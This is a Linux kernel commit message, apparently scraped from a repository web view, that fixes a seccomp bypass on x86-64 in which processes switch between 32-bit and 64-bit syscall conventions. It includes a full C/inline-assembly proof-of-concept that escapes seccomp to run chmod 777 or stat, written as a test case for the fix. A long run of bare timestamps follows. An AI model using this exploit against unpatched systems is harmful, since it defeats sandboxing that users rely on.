Roland McGrath
5b1017404a
x86-64: seccomp: fix 32/64 syscall hole
...
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com >
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org >
2009-03-02 15:41:30 -08:00
..
2008-12-18 11:59:24 +01:00
2009-01-10 06:13:09 -08:00
2009-01-12 19:24:23 +01:00
2009-01-04 13:22:58 +01:00
2008-10-23 00:01:39 -07:00
2008-10-22 22:55:20 -07:00
2009-01-06 17:39:52 +01:00
2009-01-10 06:13:09 -08:00
2008-12-30 13:31:37 -08:00
2008-10-23 00:01:39 -07:00
2009-02-04 21:33:09 -08:00
2009-02-09 14:56:37 +01:00
2008-10-22 22:55:23 -07:00
2008-11-11 21:12:05 -05:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2009-01-03 14:11:58 +01:00
2008-10-22 22:55:23 -07:00
2008-12-30 13:31:28 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-06 15:59:10 -08:00
2009-01-06 15:59:10 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-13 18:56:30 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-16 18:40:32 +01:00
2008-10-22 22:55:23 -07:00
2009-01-14 19:56:50 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-02-09 11:15:15 +01:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-23 22:37:28 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-29 18:19:29 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-20 09:15:46 +01:00
2008-11-23 13:20:52 +01:00
2009-01-31 00:16:22 +05:30
2008-10-22 22:55:23 -07:00
2008-12-29 18:17:32 +01:00
2008-12-25 13:38:54 +01:00
2008-11-11 16:19:48 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-31 10:12:38 +01:00
2008-10-22 22:55:23 -07:00
2008-10-31 10:12:38 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-12-17 00:26:38 +01:00
2008-10-22 22:55:23 -07:00
2008-11-28 13:06:27 +01:00
2009-01-04 13:23:00 +01:00
2008-12-16 17:40:57 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-23 00:20:33 -07:00
2008-12-12 11:59:49 +01:00
2008-12-12 11:59:49 +01:00
2008-10-22 22:55:20 -07:00
2008-10-31 10:12:38 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-11-11 13:51:52 -08:00
2008-10-22 22:55:23 -07:00
2008-11-01 18:57:08 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-18 15:01:25 -08:00
2008-12-12 11:58:36 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-03 08:26:40 +01:00
2008-12-30 16:20:19 -08:00
2009-01-16 13:47:04 +01:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2009-02-25 13:09:51 +01:00
2008-12-30 16:10:19 -08:00
2008-10-22 22:55:23 -07:00
2008-12-16 17:40:57 -08:00
2008-11-10 08:41:47 +01:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:20 -07:00
2008-10-23 00:20:33 -07:00
2008-12-08 14:31:52 +01:00
2009-01-03 18:53:31 +01:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-14 19:56:50 -08:00
2008-10-22 22:55:23 -07:00
2008-10-31 10:01:57 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-03 14:11:07 +01:00
2008-10-22 22:55:23 -07:00
2008-12-31 16:55:42 +02:00
2009-02-15 02:47:35 +02:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-03 19:00:55 +01:00
2008-11-23 19:57:01 +01:00
2008-10-22 22:55:23 -07:00
2009-02-10 00:39:14 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-31 00:17:13 +05:30
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-16 18:47:17 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-02-18 15:37:55 -08:00
2009-02-18 15:37:55 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2009-01-05 14:08:34 +01:00
2009-02-09 12:42:59 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-21 15:13:53 -08:00
2008-12-28 12:21:10 -08:00
2009-01-31 00:17:39 +05:30
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-02-12 08:27:27 +01:00
2008-10-22 22:55:23 -07:00
2009-02-17 14:27:39 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-17 18:58:19 +01:00
2008-12-29 18:17:36 +01:00
2008-10-22 22:55:23 -07:00
2008-12-31 23:05:57 +10:30
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-23 18:42:06 +01:00
2008-12-18 13:30:16 -08:00
Merge branches 'x86/apic', 'x86/cleanups', 'x86/cpufeature', 'x86/crashdump', 'x86/debug', 'x86/defconfig', 'x86/detect-hyper', 'x86/doc', 'x86/dumpstack', 'x86/early-printk', 'x86/fpu', 'x86/idle', 'x86/io', 'x86/memory-corruption-check', 'x86/microcode', 'x86/mm', 'x86/mtrr', 'x86/nmi-watchdog', 'x86/pat2', 'x86/pci-ioapic-boot-irq-quirks', 'x86/ptrace', 'x86/quirks', 'x86/reboot', 'x86/setup-memory', 'x86/signal', 'x86/sparse-fixes', 'x86/time', 'x86/uv' and 'x86/xen' into x86/core
2008-12-23 16:27:23 +01:00
2008-10-22 22:55:23 -07:00
2008-12-16 18:34:51 +01:00
2008-10-22 22:55:23 -07:00
2008-12-16 18:34:51 +01:00
2009-02-04 21:33:09 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-12-16 21:10:27 +01:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2009-02-09 14:56:39 +01:00
2008-10-22 22:55:23 -07:00
2009-01-31 00:18:03 +05:30
2008-12-20 09:15:46 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-11-12 18:55:46 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-03-02 15:41:30 -08:00
2009-03-02 15:41:30 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-04 13:23:02 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-31 00:18:58 +05:30
2009-01-31 00:18:30 +05:30
2008-12-18 15:01:22 -08:00
2008-10-22 22:55:23 -07:00
2008-12-16 21:10:28 +01:00
2009-01-04 15:39:26 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-16 19:31:52 +01:00
2008-10-22 22:55:23 -07:00
2009-02-09 08:15:39 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-12-31 16:52:28 +02:00
2009-01-31 00:19:32 +05:30
2008-12-28 10:04:00 +01:00
2008-10-22 22:55:23 -07:00
2008-12-29 13:18:40 +01:00
2008-10-23 12:38:39 -07:00
2009-01-21 09:43:18 +01:00
2008-10-22 22:55:23 -07:00
Merge branches 'x86/apic', 'x86/cleanups', 'x86/cpufeature', 'x86/crashdump', 'x86/debug', 'x86/defconfig', 'x86/detect-hyper', 'x86/doc', 'x86/dumpstack', 'x86/early-printk', 'x86/fpu', 'x86/idle', 'x86/io', 'x86/memory-corruption-check', 'x86/microcode', 'x86/mm', 'x86/mtrr', 'x86/nmi-watchdog', 'x86/pat2', 'x86/pci-ioapic-boot-irq-quirks', 'x86/ptrace', 'x86/quirks', 'x86/reboot', 'x86/setup-memory', 'x86/signal', 'x86/sparse-fixes', 'x86/time', 'x86/uv' and 'x86/xen' into x86/core
2008-12-23 16:27:23 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-28 12:21:10 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-25 16:57:47 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2009-01-03 18:53:31 +01:00
2008-12-08 13:49:45 +01:00
2009-02-10 00:39:14 +01:00
2008-11-09 21:05:43 +01:00
2008-10-22 22:55:23 -07:00
2008-10-28 16:54:49 +01:00
2008-12-04 08:52:14 +01:00
2008-12-30 16:10:19 -08:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-11-19 18:49:57 -08:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-12-31 16:52:30 +02:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-12-14 16:24:38 -08:00
2008-11-01 18:58:01 -07:00
2008-12-31 16:52:28 +02:00
2008-11-03 10:52:21 +01:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:23 -07:00
2008-10-22 22:55:20 -07:00
2008-10-22 22:55:20 -07:00